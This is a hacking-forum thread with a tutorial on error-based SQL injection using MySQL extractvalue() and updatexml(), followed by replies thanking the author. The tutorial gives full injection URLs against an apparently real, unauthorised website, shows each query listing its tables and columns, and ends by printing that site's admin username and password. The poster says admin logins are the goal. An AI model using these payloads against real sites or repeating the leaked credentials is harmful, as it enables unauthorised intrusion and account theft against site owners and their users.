[ExtractValue/UpdateXML] XPath Injection Tutorial [Pics/Detailed]

[ExtractValue/UpdateXML] XPath Injection Tutorial [Pics/Detailed] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [ExtractValue/UpdateXML] XPath Injection Tutorial [Pics/Detailed] (/showthread.php?tid=2088770)

Pages: Pages 1 2 3 4

[ExtractValue/UpdateXML] XPath Injection Tutorial [Pics/Detailed] - -DownFall - Jan 7, 2012

So a few XPath Injection tutorials have been getting posted, and since I haven't seen much info on the updatexml method, I'd thought I'd make a quick tutorial for it. I want to thank ๖ۣۜDan for the idea. Now I'll be going over both methods just for the sake of adding it to my mega-thread.

Extract Value

I'll be using this site as an example.

Code 
http://leadacidbatteryinfo.org/newsdetail.php?id=51

Version (ExtractValue)

Code 
+and+extractvalue(rand(),concat(0x7e,version()))--

This will return our XPATH Syntax error, and give us our version.
This is what my link looks like.

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--

Code 
XPATH syntax error: '~5.1.52-log'

Spoiler (Click to View)

You should get your version.

Getting The Tables (Extract Value)

Code 
+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--

My link looks like this.

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--

So lets load it up and see if we get our first table name!

Spoiler (Click to View)

Code 
XPATH syntax error: '~pdigclicks'

Woot it worked! Now we just increment in our limit statement until we find our table we want columns from.

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+[b]1[/b],1)))--

Code 
XPATH syntax error: '~pdigengine'

-.-

We want users or admin..

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--

Code 
XPATH syntax error: '~pdigexcludes'

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+[b]10[/b],1)))--

Code 
XPATH syntax error: '~tbladmin'

Woot, now let's get the columns.

Getting The Columns (ExtractValue)

First off, we want to convert our table name to hex.
You can do that here
My table name was tbladmin.

Whenever you convert something to hex, you add 0x in front of it.
It tells the site to read the hex value.

The hex of tbladmin is 74626c61646d696e
So it should look like this.

Code 
0x74626c61646d696e

Now to get our columns, we change our syntax a bit, but it's still generally the same idea.

Code 
+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]

Of course, replace TABLE_HEX with the hex value of your table name.

My link looks like this.

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--

Spoiler (Click to View)

Code 
XPATH syntax error: '~adminid'

Now use increment in your limit statement until you find the columns you want.

Getting Data Out of Columns (ExtractValue)

Now that you've got your column names, you're going to want to put them in a concat statement.

Code 
+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1)))--

My columns I wanted were username and password, the 0x7e is the hex value of "~" which I'll use as a seperator.

My link looks like this.

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+concat(username,0x7e,password)+from+tbladmin+limit+0,1)))--

And as you can see, we get our XPath error with the admin login.

Spoiler (Click to View)

Code 
XPATH syntax error: '~ishir~ishir123'

UpdateXML

Getting The Version (UpdateXML)

Code 
+and+updatexml(0x7e,concat(0x7e,(version())),0)--

My link looks like this..

Code 
leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version())),0)--

We get our XPATH Error that returns the version.

Code 
XPATH syntax error: '~5.1.52-log'

Spoiler (Click to View)

Getting The Tables (UpdateXML)

Code 
+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--

My link looks like this..

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--

Spoiler (Click to View)

Code 
XPATH syntax error: '~pdigclicks'

Now we know our first table is called pdigclicks. Let's see what else is in here....

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1))),0)--

Code 
XPATH syntax error: '~pdigengine'

For the sake of time, I know the table name I want is tbladmin.

Code 
leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+10,1))),0)--

And there's our table.

Code 
XPATH syntax error: '~tbladmin'

Now let's get the columns from the table.

Getting Columns (UpdateXML)

Now it's the same idea, we just change the tables to columns, from the table name.

Code 
+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--

Now my table name was tbladmin, so I convert that to hex and get 74626c61646d696e

My link looks like this.

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1))),0)--

Code 
XPATH syntax error: '~adminid'

Spoiler (Click to View)

Getting Data (UpdateXML)

Now once you've got your columns, concatenate them and get the from the table you want.

Code 
leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1))),0)--

My link looks like this..

Code 
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7e,password)+from+tbladmin+limit+0,1))),0)--

Code 
XPATH syntax error: '~ishir~ishir123'

Spoiler (Click to View)

Welp, I'm out! Let me know if you need help.
Shoutout to Zer0Lulz, Dan, and the rest of Team Intra ^^

* - bckslsh - Jan 7, 2012

Nice tutorial man :). Way better than mine haha.

I had never seen any tutorials using updatexml() :)

* - -DownFall - Jan 7, 2012

(Jan 7, 2012 10:24 AM)๖ۣۜDan Wrote: Nice tutorial man :). Way better than mine haha.

I had never seen any tutorials using updatexml() :)

Yeah, it's pretty hard to find info on it. Sorry I didn't use the site you gave me, it was string based and I didn't want to confuse anyone. Plus my goal was to find an admin login, since that's the main attraction around here, and I would have had to get it from a different database (even more confusing to beginners).

Thanks for the idea though, have fun reading. I'm sure you'll have XPath down in no time :3

* - bckslsh - Jan 7, 2012

(Jan 7, 2012 10:28 AM)-DownFall Wrote: Yeah, it's pretty hard to find info on it. Sorry I didn't use the site you gave me, it was string based and I didn't want to confuse anyone. Plus my goal was to find an admin login, since that's the main attraction around here, and I would have had to get it from a different database (even more confusing to beginners).

Thanks for the idea though, have fun reading. I'm sure you'll have XPath down in no time :3

I'm fine with extractvalue() haha, updatexml() looks very similar.

* - -zerocool - Jan 7, 2012

Nice tut downfall.
extractvalue() and updatexml() both are interchangable.
Thanks!

* - kakker - Jan 7, 2012

great tutorial tyvm :)
keep it up!!!

* - -DownFall - Jan 7, 2012

(Jan 7, 2012 10:31 AM)d4rkn3ss Wrote: Nice tut downfall.
extractvalue() and updatexml() both are interchangable.
Thanks!

Thanks, and yeah, they both pretty much work the same.
Once you got extractvalue down, you'll learn to use UpdateXML pretty quick.

* - mirkops - Jan 7, 2012

Great tuto..thanks a lot dear...it is possible to use for version<5 too??

* - -DownFall - Jan 7, 2012

(Jan 7, 2012 09:32 PM)mirkops Wrote: Great tuto..thanks a lot dear...it is possible to use for version<5 too??

MySQL 5.1 and above.
It's not supported on anything lower.

http://dev.mysql.com/doc/refman/5.1/en/xml-functions.html

* - mirkops - Jan 7, 2012

One question else...how can we recognize one web vulnerable for this method?? thanks advance

* - -DownFall - Jan 7, 2012

(Jan 7, 2012 09:42 PM)mirkops Wrote: One question else...how can we recognize one web vulnerable for this method?? thanks advance

Get the sites version, then try getting the version with UpdateXML or ExtractValue if the MySQL is > 5.1

* - mirkops - Jan 7, 2012

No I say how we can recognize for use this method...maybe when all another methods doesn't work???

* - -DownFall - Jan 7, 2012

(Jan 7, 2012 10:10 PM)mirkops Wrote: No I say how we can recognize for use this method...maybe when all another methods doesn't work???

You can try it whether the other methods work or not...it's a matter of personal preference. If you can't use any other method of injection, you don't really have a choice now do you? :3

lol

* - .Satan - Jan 8, 2012

Another amazing tut by downfall ^^
nice work! i will try it out soon

* - Ichi - Jan 8, 2012

Another great tutorial. Thanks man, really helped me out